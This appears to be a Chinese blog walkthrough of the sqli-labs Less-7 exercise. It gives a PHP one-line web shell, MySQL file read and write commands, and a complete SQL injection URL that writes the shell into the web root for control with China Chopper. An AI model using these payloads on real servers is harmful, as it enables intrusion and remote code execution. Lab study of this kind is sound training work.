zoukankan      html  css  js  c++  java
  • sqli lab less7

    Less7

    1.文件读写权限问题

    • show variables like '%secure%';查看 secure-file-priv 当前的值,如果显示为NULL,则需要打开
    • C:phpstudyPHPTutorialMySQLmy.ini文件,在其中加上一句:secure_file_priv=“/”。

     

     

    重启服务再show  就显示了

     

       

    2一句话木马:php版本:<?php @eval($_POST[“crow”]);?> 其中crow是密码

    一句话木马大多配合中国菜刀使用,菜刀的使用可以参考:https://www.daixiaorui.com/read/17.html

    3. load_file()  读取本地文件  select load_file('C:\phpstudy\PHPTutorial\WWW\sqli\Less-7\test.txt’);

    4. into outfile 写文件                                       

    用法: select 'mysql is very good' into outfile 'test1.txt‘;

                                                                         文件位置: C:phpstudy\MySQLdata

    •   或者是select 'crow 666' into outfile 'C:\phpstudy\WWW\sqli\Less-7\test.txt’;
    •  
    • 文件位置: C:phpstudyWWWsqliLess-7
    • 注意事项: \

     

     

    有错误  证明存在注入

     

    之后我们用outfile将一句话木马写入文件,虽然依然显示报错,但是我们发现路径下已经存在了我们想要的文件

    http://192.168.50.100/sqli-labs/Less-7/?id=-1')) union select 1,2,'<?php @eval($_POST[“crow”]);?>' into outfile "C:\phpstudy\PHPTutorial\WWW\sqli-labs\Less-7\test.php" --+

     

     

    使用中国菜刀链接

     

     

     

    使用中国菜刀访问即可

  • 相关阅读:
    /etc/fstab详解
    awk的简单用法2
    awk的简单用法3
    linux+nginx+mysql+php高性能服务器搭建
    awk的简单用法1
    ip_conntrack: table full, dropping packet.解决办法
    快速获得 Google Maps 地图页中心位置的经纬度
    Google 地图 教程收集
    第一章 Google Api Key的申请
    第二章 Google 常用功能
  • 原文地址:https://www.cnblogs.com/xingyuner/p/12228551.html
Copyright © 2011-2022 走看看